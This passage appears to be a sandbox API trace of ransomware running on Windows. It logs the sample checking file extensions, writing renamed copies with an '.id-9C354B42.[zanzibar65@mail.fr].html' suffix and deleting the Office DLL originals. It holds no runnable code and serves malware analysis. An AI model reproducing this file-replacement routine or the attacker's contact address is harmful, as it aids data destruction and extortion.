Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.385] lstrlenW (lpString=".zip") returned 4 [0055.385] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.385] lstrlenW (lpString=".rar") returned 4 [0055.385] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.385] lstrlenW (lpString=".bz2") returned 4 [0055.386] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.386] lstrlenW (lpString=".7z") returned 3 [0055.386] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.386] lstrlenW (lpString=".dbf") returned 4 [0055.386] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.386] lstrlenW (lpString=".1cd") returned 4 [0055.386] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0055.386] lstrlenW (lpString=".jpg") returned 4 [0055.386] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.386] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.386] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0055.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0055.387] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=3584) returned 1 [0055.387] CloseHandle (hObject=0x248) returned 1 [0055.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0055.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.387] lstrlenW (lpString=".doc") returned 4 [0055.387] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.387] lstrlenW (lpString=".docx") returned 5 [0055.387] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.387] lstrlenW (lpString=".pdf") returned 4 [0055.387] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.387] lstrlenW (lpString=".xls") returned 4 [0055.387] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.387] lstrlenW (lpString=".xlsx") returned 5 [0055.387] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.387] lstrlenW (lpString=".ppt") returned 4 [0055.387] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.387] lstrlenW (lpString=".zip") returned 4 [0055.387] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.387] lstrlenW (lpString=".rar") returned 4 [0055.387] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.387] lstrlenW (lpString=".bz2") returned 4 [0055.388] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.388] lstrlenW (lpString=".7z") returned 3 [0055.388] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString=".dbf") returned 4 [0055.388] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString=".1cd") returned 4 [0055.388] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString=".jpg") returned 4 [0055.388] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString=".doc") returned 4 [0055.388] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0055.388] lstrlenW (lpString=".docx") returned 5 [0055.388] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0055.388] lstrlenW (lpString=".pdf") returned 4 [0055.388] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0055.388] lstrlenW (lpString=".xls") returned 4 [0055.388] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0055.388] lstrlenW (lpString=".xlsx") returned 5 [0055.388] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0055.388] lstrlenW (lpString=".ppt") returned 4 [0055.388] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0055.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.388] lstrlenW (lpString=".zip") returned 4 [0055.388] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0055.388] lstrlenW (lpString=".rar") returned 4 [0055.388] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0055.388] lstrlenW (lpString=".bz2") returned 4 [0055.389] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0055.389] lstrlenW (lpString=".7z") returned 3 [0055.389] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0055.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.389] lstrlenW (lpString=".dbf") returned 4 [0055.389] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0055.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.389] lstrlenW (lpString=".1cd") returned 4 [0055.389] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0055.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0055.389] lstrlenW (lpString=".jpg") returned 4 [0055.389] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0055.389] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0055.389] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0055.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0056.207] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=4096) returned 1 [0056.207] CloseHandle (hObject=0x17c) returned 1 [0056.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0056.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0056.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0056.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0056.207] lstrlenW (lpString=".doc") returned 4 [0056.207] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0056.207] lstrlenW (lpString=".docx") returned 5 [0056.207] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0056.207] lstrlenW (lpString=".pdf") returned 4 [0056.207] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0056.207] lstrlenW (lpString=".xls") returned 4 [0056.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0056.207] lstrlenW (lpString=".xlsx") returned 5 [0056.207] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0056.207] lstrlenW (lpString=".ppt") returned 4 [0056.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0056.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0056.207] lstrlenW (lpString=".zip") returned 4 [0056.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0056.208] lstrlenW (lpString=".rar") returned 4 [0056.208] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0056.208] lstrlenW (lpString=".bz2") returned 4 [0056.208] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0056.208] lstrlenW (lpString=".7z") returned 3 [0056.208] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0056.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0056.208] lstrlenW (lpString=".dbf") returned 4 [0056.208] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.244] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.245] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0058.246] GetLastError () returned 0x0 [0058.246] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x305a8, lpOverlapped=0x0) returned 1 [0058.253] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0058.257] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.257] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.257] SetEndOfFile (hFile=0x194) returned 1 [0058.257] CloseHandle (hObject=0x194) returned 1 [0058.258] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.258] SetEndOfFile (hFile=0x238) returned 1 [0058.259] CloseHandle (hObject=0x238) returned 1 [0058.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.260] lstrlenW (lpString=".doc") returned 4 [0058.260] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".docx") returned 5 [0058.260] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.260] lstrlenW (lpString=".pdf") returned 4 [0058.260] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".xls") returned 4 [0058.260] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".xlsx") returned 5 [0058.260] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.261] lstrlenW (lpString=".ppt") returned 4 [0058.261] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString=".zip") returned 4 [0058.261] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString=".rar") returned 4 [0058.261] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString=".bz2") returned 4 [0058.261] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString=".7z") returned 3 [0058.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString=".dbf") returned 4 [0058.261] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString=".1cd") returned 4 [0058.261] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString=".jpg") returned 4 [0058.261] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.261] lstrlenW (lpString=".doc") returned 4 [0058.262] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString=".docx") returned 5 [0058.262] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0058.262] lstrlenW (lpString=".pdf") returned 4 [0058.262] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString=".xls") returned 4 [0058.262] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString=".xlsx") returned 5 [0058.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0058.262] lstrlenW (lpString=".ppt") returned 4 [0058.262] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.262] lstrlenW (lpString=".zip") returned 4 [0058.262] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString=".rar") returned 4 [0058.262] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.262] lstrlenW (lpString=".bz2") returned 4 [0058.262] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.262] lstrlenW (lpString=".7z") returned 3 [0058.262] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.262] lstrlenW (lpString=".dbf") returned 4 [0058.262] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.262] lstrlenW (lpString=".1cd") returned 4 [0058.262] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0058.262] lstrlenW (lpString=".jpg") returned 4 [0058.262] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.263] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.263] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0058.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.263] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=52656) returned 1 [0058.263] CloseHandle (hObject=0x238) returned 1 [0058.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0058.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0058.264] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.264] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0058.264] GetLastError () returned 0x0 [0058.264] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0058.267] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0058.268] ReadFile (in: hFile=0x238, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.268] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.268] SetEndOfFile (hFile=0x194) returned 1 [0058.269] CloseHandle (hObject=0x194) returned 1 [0058.269] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.269] SetEndOfFile (hFile=0x238) returned 1 [0058.270] CloseHandle (hObject=0x238) returned 1 [0058.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0058.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.270] lstrlenW (lpString=".doc") returned 4 [0058.270] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.270] lstrlenW (lpString=".docx") returned 5 [0058.270] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.270] lstrlenW (lpString=".pdf") returned 4 [0058.270] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.270] lstrlenW (lpString=".xls") returned 4 [0058.270] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.270] lstrlenW (lpString=".xlsx") returned 5 [0058.271] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.271] lstrlenW (lpString=".ppt") returned 4 [0058.271] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString=".zip") returned 4 [0058.271] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString=".rar") returned 4 [0058.271] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString=".bz2") returned 4 [0058.271] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.271] lstrlenW (lpString=".7z") returned 3 [0058.271] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString=".dbf") returned 4 [0058.271] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString=".1cd") returned 4 [0058.271] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString=".jpg") returned 4 [0058.271] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.271] lstrlenW (lpString=".doc") returned 4 [0058.271] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString=".docx") returned 5 [0058.271] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0058.271] lstrlenW (lpString=".pdf") returned 4 [0058.271] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString=".xls") returned 4 [0058.271] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.271] lstrlenW (lpString=".xlsx") returned 5 [0058.272] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0058.272] lstrlenW (lpString=".ppt") returned 4 [0058.272] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.272] lstrlenW (lpString=".zip") returned 4 [0058.272] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.272] lstrlenW (lpString=".rar") returned 4 [0058.272] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.272] lstrlenW (lpString=".bz2") returned 4 [0058.272] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.272] lstrlenW (lpString=".7z") returned 3 [0058.272] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.272] lstrlenW (lpString=".dbf") returned 4 [0058.272] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.272] lstrlenW (lpString=".1cd") returned 4 [0058.272] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0058.272] lstrlenW (lpString=".jpg") returned 4 [0058.272] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.272] lstrcmpiW 